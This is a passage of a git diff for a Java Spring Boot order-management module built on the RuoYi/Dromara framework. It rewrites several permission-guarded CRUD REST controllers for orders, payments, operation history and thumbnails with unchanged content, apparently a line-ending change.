lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpOrderBo; +import org.dromara.work.domain.vo.TpOrderVo; +import org.dromara.work.service.ITpOrderService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; +import java.util.concurrent.TimeUnit; + +/** + * 订单回收站 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/order") +public class TpOrderController extends BaseController { + + private final ITpOrderService tpOrderService; + + /** + * 查询订单管理列表 + */ + @SaCheckPermission("work:order:list") + @GetMapping("/list") + public TableDataInfo list(TpOrderBo bo, PageQuery pageQuery) { + return tpOrderService.queryPageList(bo, pageQuery); + } + + /** + * 回收站订单导出 + */ + @SaCheckPermission("work:order:export") + @Log(title = "回收站订单导出", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpOrderBo bo, HttpServletResponse response) { + List list = tpOrderService.queryList(bo); + ExcelUtil.exportExcel(list, "回收站订单导出", TpOrderVo.class, response); + } + + /** + * 扣除违约金 + */ + @SaCheckPermission("work:order:breach") + @Log(title = "扣除违约金", businessType = BusinessType.UPDATE) + @PutMapping("/breach") + public R breach(@RequestBody TpOrderBo bo) { + return toAjax(tpOrderService.breach(bo)); + } + + /** + * 满意度接口 + */ + @SaCheckPermission("work:order:satisfied") + @Log(title = "满意度接口", businessType = BusinessType.UPDATE) + @PutMapping("/satisfied") + public R satisfied(@RequestBody TpOrderBo bo) { + return toAjax(tpOrderService.satisfied(bo)); + } + + + /** + * 获取订单管理详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:order:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpOrderService.queryById(id)); + } + + /** + * 新增订单管理 + */ + @SaCheckPermission("work:order:add") + @Log(title = "订单管理", businessType = BusinessType.INSERT) + @RepeatSubmit(interval = 3,timeUnit = TimeUnit.SECONDS,message = "不允许重复提交") + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpOrderBo bo) { + return toAjax(tpOrderService.insertByBo(bo)); + } + + /** + * 修改订单管理 + */ + @SaCheckPermission("work:order:edit") + @Log(title = "订单管理", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpOrderBo bo) { + return toAjax(tpOrderService.updateByBo(bo)); + } + + /** + * 删除订单管理 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:order:remove") + @Log(title = "订单管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpOrderService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderModelController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderModelController.java index 0ff6373..105667e 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderModelController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderModelController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpOrderModelBo; -import org.dromara.work.domain.vo.TpOrderModelVo; -import org.dromara.work.service.ITpOrderModelService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 订单模型 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/orderModel") -public class TpOrderModelController extends BaseController { - - private final ITpOrderModelService tpOrderModelService; - - /** - * 查询订单模型列表 - */ - @SaCheckPermission("work:orderModel:list") - @GetMapping("/list") - public TableDataInfo list(TpOrderModelBo bo, PageQuery pageQuery) { - return tpOrderModelService.queryPageList(bo, pageQuery); - } - - /** - * 导出订单模型列表 - */ - @SaCheckPermission("work:orderModel:export") - @Log(title = "订单模型", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpOrderModelBo bo, HttpServletResponse response) { - List list = tpOrderModelService.queryList(bo); - ExcelUtil.exportExcel(list, "订单模型", TpOrderModelVo.class, response); - } - - /** - * 获取订单模型详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:orderModel:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpOrderModelService.queryById(id)); - } - - /** - * 新增订单模型 - */ - @SaCheckPermission("work:orderModel:add") - @Log(title = "订单模型", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpOrderModelBo bo) { - return toAjax(tpOrderModelService.insertByBo(bo)); - } - - /** - * 修改订单模型 - */ - @SaCheckPermission("work:orderModel:edit") - @Log(title = "订单模型", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpOrderModelBo bo) { - return toAjax(tpOrderModelService.updateByBo(bo)); - } - - /** - * 删除订单模型 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:orderModel:remove") - @Log(title = "订单模型", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpOrderModelService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpOrderModelBo; +import org.dromara.work.domain.vo.TpOrderModelVo; +import org.dromara.work.service.ITpOrderModelService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 订单模型 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/orderModel") +public class TpOrderModelController extends BaseController { + + private final ITpOrderModelService tpOrderModelService; + + /** + * 查询订单模型列表 + */ + @SaCheckPermission("work:orderModel:list") + @GetMapping("/list") + public TableDataInfo list(TpOrderModelBo bo, PageQuery pageQuery) { + return tpOrderModelService.queryPageList(bo, pageQuery); + } + + /** + * 导出订单模型列表 + */ + @SaCheckPermission("work:orderModel:export") + @Log(title = "订单模型", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpOrderModelBo bo, HttpServletResponse response) { + List list = tpOrderModelService.queryList(bo); + ExcelUtil.exportExcel(list, "订单模型", TpOrderModelVo.class, response); + } + + /** + * 获取订单模型详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:orderModel:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpOrderModelService.queryById(id)); + } + + /** + * 新增订单模型 + */ + @SaCheckPermission("work:orderModel:add") + @Log(title = "订单模型", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpOrderModelBo bo) { + return toAjax(tpOrderModelService.insertByBo(bo)); + } + + /** + * 修改订单模型 + */ + @SaCheckPermission("work:orderModel:edit") + @Log(title = "订单模型", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpOrderModelBo bo) { + return toAjax(tpOrderModelService.updateByBo(bo)); + } + + /** + * 删除订单模型 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:orderModel:remove") + @Log(title = "订单模型", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpOrderModelService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderPayController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderPayController.java index 073cf1c..21019ad 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderPayController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderPayController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpOrderPayBo; -import org.dromara.work.domain.vo.TpOrderPayVo; -import org.dromara.work.service.ITpOrderPayService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 订单支付记录 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/orderPay") -public class TpOrderPayController extends BaseController { - - private final ITpOrderPayService tpOrderPayService; - - /** - * 查询订单支付记录列表 - */ - @SaCheckPermission("work:orderPay:list") - @GetMapping("/list") - public TableDataInfo list(TpOrderPayBo bo, PageQuery pageQuery) { - return tpOrderPayService.queryPageList(bo, pageQuery); - } - - /** - * 导出订单支付记录列表 - */ - @SaCheckPermission("work:orderPay:export") - @Log(title = "订单支付记录", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpOrderPayBo bo, HttpServletResponse response) { - List list = tpOrderPayService.queryList(bo); - ExcelUtil.exportExcel(list, "订单支付记录", TpOrderPayVo.class, response); - } - - /** - * 获取订单支付记录详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:orderPay:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpOrderPayService.queryById(id)); - } - - /** - * 新增订单支付记录 - */ - @SaCheckPermission("work:orderPay:add") - @Log(title = "订单支付记录", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpOrderPayBo bo) { - return toAjax(tpOrderPayService.insertByBo(bo)); - } - - /** - * 修改订单支付记录 - */ - @SaCheckPermission("work:orderPay:edit") - @Log(title = "订单支付记录", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpOrderPayBo bo) { - return toAjax(tpOrderPayService.updateByBo(bo)); - } - - /** - * 删除订单支付记录 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:orderPay:remove") - @Log(title = "订单支付记录", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpOrderPayService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpOrderPayBo; +import org.dromara.work.domain.vo.TpOrderPayVo; +import org.dromara.work.service.ITpOrderPayService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 订单支付记录 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/orderPay") +public class TpOrderPayController extends BaseController { + + private final ITpOrderPayService tpOrderPayService; + + /** + * 查询订单支付记录列表 + */ + @SaCheckPermission("work:orderPay:list") + @GetMapping("/list") + public TableDataInfo list(TpOrderPayBo bo, PageQuery pageQuery) { + return tpOrderPayService.queryPageList(bo, pageQuery); + } + + /** + * 导出订单支付记录列表 + */ + @SaCheckPermission("work:orderPay:export") + @Log(title = "订单支付记录", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpOrderPayBo bo, HttpServletResponse response) { + List list = tpOrderPayService.queryList(bo); + ExcelUtil.exportExcel(list, "订单支付记录", TpOrderPayVo.class, response); + } + + /** + * 获取订单支付记录详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:orderPay:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpOrderPayService.queryById(id)); + } + + /** + * 新增订单支付记录 + */ + @SaCheckPermission("work:orderPay:add") + @Log(title = "订单支付记录", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpOrderPayBo bo) { + return toAjax(tpOrderPayService.insertByBo(bo)); + } + + /** + * 修改订单支付记录 + */ + @SaCheckPermission("work:orderPay:edit") + @Log(title = "订单支付记录", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpOrderPayBo bo) { + return toAjax(tpOrderPayService.updateByBo(bo)); + } + + /** + * 删除订单支付记录 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:orderPay:remove") + @Log(title = "订单支付记录", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpOrderPayService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderRecordController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderRecordController.java index 18733ed..b5fcdb0 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderRecordController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderRecordController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpOrderRecordBo; -import org.dromara.work.domain.vo.TpOrderRecordVo; -import org.dromara.work.service.ITpOrderRecordService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 操作历史 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/orderRecord") -public class TpOrderRecordController extends BaseController { - - private final ITpOrderRecordService tpOrderRecordService; - - /** - * 查询操作历史列表 - */ - @SaCheckPermission("work:orderRecord:list") - @GetMapping("/list") - public TableDataInfo list(TpOrderRecordBo bo, PageQuery pageQuery) { - return tpOrderRecordService.queryPageList(bo, pageQuery); - } - - /** - * 导出操作历史列表 - */ - @SaCheckPermission("work:orderRecord:export") - @Log(title = "操作历史", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpOrderRecordBo bo, HttpServletResponse response) { - List list = tpOrderRecordService.queryList(bo); - ExcelUtil.exportExcel(list, "操作历史", TpOrderRecordVo.class, response); - } - - /** - * 获取操作历史详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:orderRecord:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpOrderRecordService.queryById(id)); - } - - /** - * 新增操作历史 - */ - @SaCheckPermission("work:orderRecord:add") - @Log(title = "操作历史", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpOrderRecordBo bo) { - return toAjax(tpOrderRecordService.insertByBo(bo)); - } - - /** - * 修改操作历史 - */ - @SaCheckPermission("work:orderRecord:edit") - @Log(title = "操作历史", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpOrderRecordBo bo) { - return toAjax(tpOrderRecordService.updateByBo(bo)); - } - - /** - * 删除操作历史 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:orderRecord:remove") - @Log(title = "操作历史", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpOrderRecordService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpOrderRecordBo; +import org.dromara.work.domain.vo.TpOrderRecordVo; +import org.dromara.work.service.ITpOrderRecordService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 操作历史 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/orderRecord") +public class TpOrderRecordController extends BaseController { + + private final ITpOrderRecordService tpOrderRecordService; + + /** + * 查询操作历史列表 + */ + @SaCheckPermission("work:orderRecord:list") + @GetMapping("/list") + public TableDataInfo list(TpOrderRecordBo bo, PageQuery pageQuery) { + return tpOrderRecordService.queryPageList(bo, pageQuery); + } + + /** + * 导出操作历史列表 + */ + @SaCheckPermission("work:orderRecord:export") + @Log(title = "操作历史", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpOrderRecordBo bo, HttpServletResponse response) { + List list = tpOrderRecordService.queryList(bo); + ExcelUtil.exportExcel(list, "操作历史", TpOrderRecordVo.class, response); + } + + /** + * 获取操作历史详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:orderRecord:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpOrderRecordService.queryById(id)); + } + + /** + * 新增操作历史 + */ + @SaCheckPermission("work:orderRecord:add") + @Log(title = "操作历史", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpOrderRecordBo bo) { + return toAjax(tpOrderRecordService.insertByBo(bo)); + } + + /** + * 修改操作历史 + */ + @SaCheckPermission("work:orderRecord:edit") + @Log(title = "操作历史", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpOrderRecordBo bo) { + return toAjax(tpOrderRecordService.updateByBo(bo)); + } + + /** + * 删除操作历史 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:orderRecord:remove") + @Log(title = "操作历史", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpOrderRecordService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderSmallController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderSmallController.java index 448033a..f0b03dd 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderSmallController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpOrderSmallController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpOrderSmallBo; -import org.dromara.work.domain.vo.TpOrderSmallVo; -import org.dromara.work.service.ITpOrderSmallService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 订单小图 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/orderSmall") -public class TpOrderSmallController extends BaseController { - - private final ITpOrderSmallService tpOrderSmallService; - - /** - * 查询订单小图列表 - */ - @SaCheckPermission("work:orderSmall:list") - @GetMapping("/list") - public TableDataInfo list(TpOrderSmallBo bo, PageQuery pageQuery) { - return tpOrderSmallService.queryPageList(bo, pageQuery); - } - - /** - * 导出订单小图列表 - */ - @SaCheckPermission("work:orderSmall:export") - @Log(title = "订单小图", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpOrderSmallBo bo, HttpServletResponse response) { - List list = tpOrderSmallService.queryList(bo); - ExcelUtil.exportExcel(list, "订单小图", TpOrderSmallVo.class, response); - } - - /** - * 获取订单小图详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:orderSmall:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpOrderSmallService.queryById(id)); - } - - /** - * 新增订单小图 - */ - @SaCheckPermission("work:orderSmall:add") - @Log(title = "订单小图", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpOrderSmallBo bo) { - return toAjax(tpOrderSmallService.insertByBo(bo)); - } - - /** - * 修改订单小图 - */ - @SaCheckPermission("work:orderSmall:edit") - @Log(title = "订单小图", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpOrderSmallBo bo) { - return toAjax(tpOrderSmallService.updateByBo(bo)); - } - - /** - * 删除订单小图 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:orderSmall:remove") - @Log(title = "订单小图", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpOrderSmallService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpOrderSmallBo; +import org.dromara.work.domain.vo.TpOrderSmallVo; +import org.dromara.work.service.ITpOrderSmallService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 订单小图 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/orderSmall") +public class TpOrderSmallController extends BaseController { + + private final ITpOrderSmallService tpOrderSmallService; + + /** + * 查询订单小图列表 + */ + @SaCheckPermission("work:orderSmall:list") + @GetMapping("/list") + public TableDataInfo list(TpOrderSmallBo bo, PageQuery pageQuery) { + return tpOrderSmallService.queryPageList(bo, pageQuery); + } + + /** + * 导出订单小图列表 + */ + @SaCheckPermission("work:orderSmall:export") + @Log(title = "订单小图", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpOrderSmallBo bo, HttpServletResponse response) { + List list = tpOrderSmallService.queryList(bo); + ExcelUtil.exportExcel(list, "订单小图", TpOrderSmallVo.class, response); + } + + /** + * 获取订单小图详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:orderSmall:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpOrderSmallService.queryById(id)); + } + + /** + * 新增订单小图 + */ + @SaCheckPermission("work:orderSmall:add") + @Log(title = "订单小图", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpOrderSmallBo bo) { + return toAjax(tpOrderSmallService.insertByBo(bo)); + } + + /** + * 修改订单小图 + */ + @SaCheckPermission("work:orderSmall:edit") + @Log(title = "订单小图", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpOrderSmallBo bo) { + return toAjax(tpOrderSmallService.updateByBo(bo)); + } + + /** + * 删除订单小图 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:orderSmall:remove") + @Log(title = "订单小图", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpOrderSmallService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpPanoramaController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpPanoramaController.java index c693dc2..8b4d711 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpPanoramaController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpPanoramaController.java @@ -1,113 +1,113 @@ -package org.dromara.work.controller; - -import java.util.List; - -import lombok.RequiredArgsConstructor; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.*; -import cn.dev33.satoken.annotation.SaCheckPermission; -import org.springframework.web.bind.annotation.*; -import org.springframework.validation.annotation.Validated; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.web.core.BaseController; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.work.domain.vo.TpPanoramaVo; -import org.dromara.work.domain.bo.TpPanoramaBo; -import org.dromara.work.service.ITpPanoramaService; -import 